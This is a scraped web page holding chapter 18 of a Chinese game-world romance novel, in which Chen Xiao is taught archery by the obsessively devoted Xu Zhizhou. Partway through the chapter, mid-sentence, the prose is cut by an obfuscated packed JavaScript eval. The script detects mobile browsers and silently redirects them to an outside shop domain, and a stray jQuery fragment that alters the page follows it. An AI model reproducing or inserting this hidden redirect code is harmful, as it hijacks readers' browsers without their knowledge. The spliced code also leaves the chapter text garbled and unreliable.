文趣网 > 其他小说 > 主角他反复读档重来 > 18.第十八章
    “哗啦——”

    纸灯摇曳,光影流转间,徐知昼握住灯杆的手竟毫无人色,骨节利利地凸起,宛若刀锋。

    可他的笑容那么和煦,那么温柔,翩翩君子,金昭玉粹,连眼眸都弯起,一眼不眨地注视着陈逍。

    放在其他游戏里高低是个boss.

    陈逍吞了下口水,干巴巴地说:“我得还马车。”

    徐知昼柔声道:“我命人去还。”

    “我腿麻了。”

    徐知昼笑,“我抱你下来。”

    陈逍蹲在马车车辕上,头一次感受到了进退两难,见徐知昼要过来,赶紧道:“我刚刚喝过酒,满身酒味,慎徽,你,你别过来,仔细熏着你。”

    徐知昼垂眼,“我知道你去喝酒了,”说着,朝陈逍伸出手,他嗓音放得好柔,“张管事都同我说了,是花将军主动邀约。”

    他的阿逍才十九岁,最是风流张扬,爱豪奢喜热闹的年纪。

    都是,花有清之过。

    陈逍犹豫地接过徐知昼的手,直接跳了下来。

    体力值摇摇晃晃,马上就要变红了,陈逍眸光猛地一震,露出副不胜酒力的表情,单手扶住额头,闷闷呻吟了声,“慎徽,我头晕,我得,我得回房了,有话咱们明日再说。”

    “好。”徐知昼声音平平,听不出喜怒。

    下一刻,欲转身而去的青年人却忽地转脸,唇边漾出一抹很浅的笑,“多谢你。”

    徐知昼道:“谢我什么?”

    可陈逍已经转过头,夜风送来了他的声音,含着笑,“多谢你,愿意等我回来。”

    徐知昼搁在膝头的手陡然攥紧。

    待回卧房,陈逍倒头就睡,一夜无梦。

    他睡到第二日日上三竿,感官阻断值已经被他调整回了百分之七十,宿醉带来的眩晕感让他看什么都重影,两个脑袋四个手,在他面前张牙舞爪。

    陈逍慢吞吞地喝了口茶,方觉脑子清醒了点,“你说什么?”

    张管事垂首,毕恭毕敬地重复了遍,“早上花将军派人转告公子说他近日有要事,都不能来府上教公子了。”

    陈逍:“哈?”

    怎么就突然有要事了,陈逍满面茫然,总不能因为他昨天晚上把花有清喝桌子底下去了,他记仇吧?

    “花将军还说什么了?”

    “回公子,并无。”

    怪事。

    陈逍:“我知道了,你下去罢。”

    张管事垂首告退。

    陈逍拉开好感度面板,花有清对他的好感度不知何时已经上升到了二百,但是两颗浅粉色的小心心上不知为何悬着一把刀。

    这是什么玩意,新彩蛋吗?

    陈逍把面板拉到最底下,但见徐知昼的好感度还是黑气萦绕鬼气森森的-10350,不仅黑,隐隐可见绿光,神似阴曹地府招生广告。

    陈逍心情复杂地关上好感度面板,喃喃自语,“要不然,去找……”

    “找谁?”

    陈逍惊坐起。

    徐知昼不知何时出现在他面前,垂着头,含笑问道:“找谁?”

    因为姿势的缘故,一缕凉凉滑滑的发丝刮过陈逍的嘴唇,转瞬即逝,好似蛇尾掠过。

    陈逍后颈麻了一瞬。

    徐知昼走路怎么没声?!

    先前他用轮椅时还没这么神出鬼没,自从他能下地活动后,陈逍总能在意想不到的地方看见徐知昼。

    徐知昼见他呆呆的,伸手捏了捏他的后颈,“想什么呢,这样出神?”

    应该不会是花有清,对吧?

    对、吧?

    陈逍莫名在这种静若秋水般的目光中感受到了一丝压力,但也仅仅半秒,好像一切都是他的错觉。

    陈逍请徐知昼坐下,一边给他倒茶,一边将事情原委和盘托出,末了,很是疑惑,“昨日分别时花将军还好好的。”

    徐知昼温柔道:“花将军行事无拘自在,也许,是我这个侍郎府令他觉得烦闷了。”

    陈逍拍了拍他的手背,“此事与你无干。”

    徐知昼黝黑的眼眸中闪过抹笑意,沉吟道:“狩猎在即,花将军身在金吾卫近日必然公务繁忙。”

    毕竟金吾卫是皇帝出行必不可少的卫队,陈逍点头,“也是。”他想到自己461的射箭属性点,忍不住揉了揉太阳穴,“慎徽,我那日给你的名单还在吗?”

    徐知昼愕然,“我以为万事已然妥帖,便将名单烧掉了。”他面露歉色,“实是我行事不够稳妥,早知道当问你一声。”

    长睫一垂,勉强压下眼中的忧虑,愈显神清骨秀,清雅峻峭。

    陈逍深觉徐知昼此人简直贴心的过分了,要是在现实世界他有一百个徐知昼这样的员工,就算让他不堪重富,万寿无疆也愿意啊。

    安慰的话还未说出口,徐知昼先他一步道:“若是阿逍不嫌弃,便由我来教阿逍,”他面对陈逍,颇不好意思一笑,“我虽比不上花将军箭术高绝,但胜在持之以恒。”

    您谦虚了。

    陈逍由衷心道,他好歹和徐知昼对射过,他当时射箭属性满了也一丁点便宜都没占到。

    只是……

    陈逍摇头。

    徐知昼眸光陡暗。

    为什么?

    在阿逍心里,花有清就那么好,好得除了他竟容不下旁人了?

    徐知昼右手猛地攥紧,碧玉扳指被倏然扣在掌中,硌得掌骨微微颤动。

    “你的伤还没好,久站对腿伤无益。”陈逍道。

    徐知昼的动作一僵。

    方才那种恨之欲其死的怨憎顷刻间烟消云散,莫名的轻飘飘充盈心口,两种截然相反的情绪拉扯得他头痛欲裂,可甜蜜的欢欣又上涌。

    他的手落在陈逍的手腕上,悄无声息地收紧,“没关系的,王太医说,我需要适当站立。”无论王太医先前说过与否,但在此刻之后,他一定说过,“阿逍,意下如何?”

    黝黑的眼珠一眼不眨地看着他。

    话已至此,陈逍反扣住徐知昼的手,感动道:“多谢你,慎徽,你真是我在这个世,世间最好的兄弟。”

    徐知昼微微笑,“是吗?”

    来自陈逍的肯定:“是!”

    “我闻之,欣喜若狂。”徐知昼继续微笑。

    片刻后。

    花园。

    有花将军手把手教陈逍在前,徐知昼便自然地站在陈逍后面,俯身——将整个人搂住。

    他身量修长高大,身体与身体紧密贴合。

    像极了,盘踞在猎物身边的巨蛇。

    徐知昼上手,帮陈逍调整姿势,他做得极其精细,从肩膀到脊背,再到腰身,甚至连手指曲起的弧度都不错过,皆要一寸寸上手纠正才满意。

    陈逍后背抵在徐知昼怀中,贴得太近,他觉得有些热。

    他目视前方,屏息凝神,任由徐知昼摆弄。

    徐知昼又不会害他。

    陈小公子十分放心。

    在他看不到的地方,徐知昼直勾勾地盯着陈逍的后颈,柔软的发丝下是一节白皙得几乎透明的颈,嶙峋,纤长,看起来又冷又硬,却又无端流露出一点可怜。

    好乖。

    真的好乖。

    好像只要借着教导的名义,无论对陈逍做什么,他都会乖乖地听话,照做。

    徐知昼低头,笔挺的鼻尖深深埋入陈逍的后颈。

    温凉似玉,肌肤又是柔软的,漂亮得不可思议。

    徐知昼喉结剧烈滚动,有那么一瞬间,他真想张开嘴,一口叼住陈逍的后颈,看他无力挣扎,反抗不得,不得已驯顺。

    “你在干什么?”陈逍纳闷地问。

    他能感觉到徐知昼垂首贴着他的后颈,下一秒,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458778|200621||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一只手掸过他的后颈,轻轻一拂。

    “有虫子。”徐知昼的声音听起来平静又自然。

    陈逍闻言下意识要挠一把脖子,可刚伸出手就被徐知昼一把扣住,二人的身体瞬间贴得更近,徐知昼低头,命令似的,“专心。”

    二字划过耳廓,有点痒。

    陈逍皱了皱鼻子。

    手臂与手臂紧密贴合,随着挽弓,肌肉紧绷起伏,紧密贴合。

    徐知昼清浅温热的呼吸拂过陈逍的脖颈。

    “不要动。”徐知昼扶住陈逍的手臂,在他耳畔道:“看到那片柳叶了吗?”

    他声音很低,陈逍只听到了一阵沙沙的响动,“什么?”

    徐知昼好脾气地又说了一遍,一字一句放得很缓,很清晰,“我说,你看见那片柳叶了吗?”

    陈逍:“……?”

    他望向湖水对岸,绿树成荫,真可谓万条垂下绿丝绦,细柳如烟,别说那片柳叶了,在他看来就是一整片浅绿色块。

    徐知昼轻轻地笑了一声,“屏息凝神,”他手腕微微动,箭簇的准心因此游移,“阿逍,别动。”

    “好乖。”

    啥?

    但徐知昼根本不给陈逍问出口的机会,徐知昼扶住他手臂的手掌往后一带,不需言语,陈逍已经了然,绷到了极致的弓弦猛地放出,“嗖——”

    羽箭穿过柳枝,却没有一根枝叶掉下来,最终砰地一下嵌入游廊廊柱上。

    【恭喜玩家,获得”穿杨“加成,武学+50,箭术+100!】

    有小厮匆匆跑过去又匆匆跑回来,他双手捧着羽箭,陈逍一怔,在他的掌心中俨然还有两截破损的柳叶。

    陈逍倒吸一口凉气,看向徐知昼的眼神中多了几分他自己都不曾注意的热切。

    徐知昼柔声,“见笑。”

    陈逍呆呆道:“不敢不敢。”与此同时,他感受到了一阵的热流流向四肢百骸。

    这种感觉,通常情况下叫胜负欲。

    陈逍磨箭嚯嚯,绝不肯落于人后。

    于是,徐知昼就看着娇生惯养的陈小公子练了一下午的箭,整整一下午,除了请他指点外,竟再未多看他一眼!

    尤其是,当意识到他已经站了有一会后,陈逍亲自推了轮椅,让徐知昼坐下,而后又觉得烈日炎炎下他坐着也不舒服,干脆将人推到了不远处的花树下。

    徐知昼:“……”

    桃之夭夭,艳丽夺目,树下之人更是恍若谪仙,气韵出尘,陈逍欣赏了几秒,而后挽弓射箭,指向徐知昼。

    “砰砰砰!”急促到了极致的,徐知昼瞳孔有一瞬紧锁,是他的心跳。

    众人大骇,却根本来不及阻止。

    “嗖——”

    羽箭破风而出,迎面而来,徐知昼却无暇注意,目光狂热地看着陈逍,只觉满身血液汹涌,疯狂地流向心脏。

    青年人手持雕弓,眉宇骄狂,那份嚣张到了极点的美丽刺得徐知昼眼睛都痛了,他满心亢奋,静候最后一刻。

    “咔!”

    箭贯穿桃花枝。

    旋即,一捧艳丽坠入徐知昼怀中,甜香扑鼻,熏染得人头晕目眩,华丽的颜色铺满了他的衣袍,一如陈逍曾无数次给予他的。

    徐知昼缓缓抬头,看见陈逍扬着唇,张扬笑道:“送你!”

    心跳愈急,徐知昼张了张嘴,却发现自己没有发出任何声音。

    不好,玩大了!

    陈逍以为徐知昼被自己吓呆了,立刻收了弓箭跑过去。

    可马上他就听到系统欢快的提示音:【恭喜玩家徐知昼好感度恭喜玩家徐知昼好感度恭喜玩家徐知昼好感度恭喜无法显砰——!恭喜玩家,徐知昼好感度已达到;-10200!】

    羽箭落下,被徐知昼爱惜地捧在怀中,他亢奋得嗓音都沙哑,“多谢你,阿逍,我真的真的,好喜欢。”